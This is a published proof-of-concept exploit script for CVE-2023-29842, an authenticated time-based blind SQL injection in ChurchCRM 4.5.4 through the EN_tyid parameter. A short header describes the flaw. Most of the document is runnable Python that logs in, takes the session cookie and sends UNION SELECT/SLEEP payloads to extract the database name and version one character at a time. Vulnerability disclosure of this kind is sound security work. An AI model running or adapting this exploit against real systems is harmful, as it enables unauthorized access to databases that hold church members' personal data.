# Exploit Title: ChurchCRM 4.5.4 - Authenticated Blind SQL Injection via the EN_tyid
# Date: 03-05-2023
# Exploit Author: Arvandy
# Blog Post: https://github.com/arvandy/CVE/blob/main/CVE-2023-29842/CVE-2023-29842.md
# Software Link: https://github.com/ChurchCRM/CRM/releases
# Vendor Homepage: http://churchcrm.io/
# Version: 4.5.4
# Tested on: Windows, Linux
# CVE: CVE-2023-29842

"""
The endpoint /EditEventTypes.php is vulnerable to Blind SQL Injection (Time-based) via the EN_tyid POST parameter.
This endpoint can be triggered through the following menu: Events - List Event Types - Edit Event Types - Save Name. 
The EN_tyid Parameter is taken directly from the user input and passed into the SQL query without any sanitization or input escaping. 
This allows the attacker to inject malicious Event payloads to execute the malicious SQL query.

This script is created as Proof of Concept to retrieve the database name and version.
"""


import sys, requests

def injection(target, inj_str, session_cookies):    
    for j in range(32, 126):
        url = "%s/EditEventTypes.php" % (target)
        headers = {'Content-Type':'application/x-www-form-urlencoded','Cookie':'CRM-2c90cf299230a50dab55aee824ed9b08='+str(session_cookies)}    
        data = "EN_tyid=%s&EN_ctid=&newEvtName=NewEvent&Action=NAME&newEvtStartTime=09:30:00&newCountName=" % (inj_str.replace("[CHAR]", str(j)))
        r = requests.post(url, headers=headers, data=data)
        res = r.text
        if (r.elapsed.total_seconds () > 2 ):
            return j
    return None


def retrieveDBName(session_cookies):   
    db_name = ""
    print("(+) Retrieving database name, please wait")
    for i in range (1,100):
        injection_str = "1'+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,IF(ASCII(SUBSTRING((SELECT+DATABASE()),%d,1))=[CHAR],SLEEP(2),null)-- -" % i
        retrieved_value = injection(target, injection_str, session_cookies)
        if (retrieved_value):
            sys.stdout.write(chr(retrieved_value))
            sys.stdout.flush()           
        else:
            break

def retrieveDBVersion(session_cookies):   
    db_version = ""
    print("(+) Retrieving database version, please wait")
    for i in range (1,100):
        injection_str = "1'+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,IF(ASCII(SUBSTRING((SELECT+@@version),%d,1))=[CHAR],SLEEP(2),null)-- -" % i
        retrieved_value = injection(target, injection_str, session_cookies)
        if (retrieved_value):
            sys.stdout.write(chr(retrieved_value))
            sys.stdout.flush()
        else:
            break    


def login(target, username, password):
    target = "%s/session/begin" % (target)
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    data = "User=%s&Password=%s" % (username, password)
    s = requests.session()
    r = s.post(target, data = data, headers = headers)
    return s.cookies.get('CRM-2c90cf299230a50dab55aee824ed9b08')

def main():
    print("(!) Login to the target application")
    session_cookies = login(target, username, password)       
    
    print("(!) Exploiting the Blind Auth SQL Injection to retrieve database name and versions")
    retrieveDBName(session_cookies)
    
    print("")
    retrieveDBVersion(session_cookies)
    
if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("(!) Usage: python3 exploit.py <URL> <username> <password>")
        print("(!) E.g.,: python3 exploit.py http://192.168.1.100/ChurchCRM user pass")
        sys.exit(-1)

    target = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    
    main()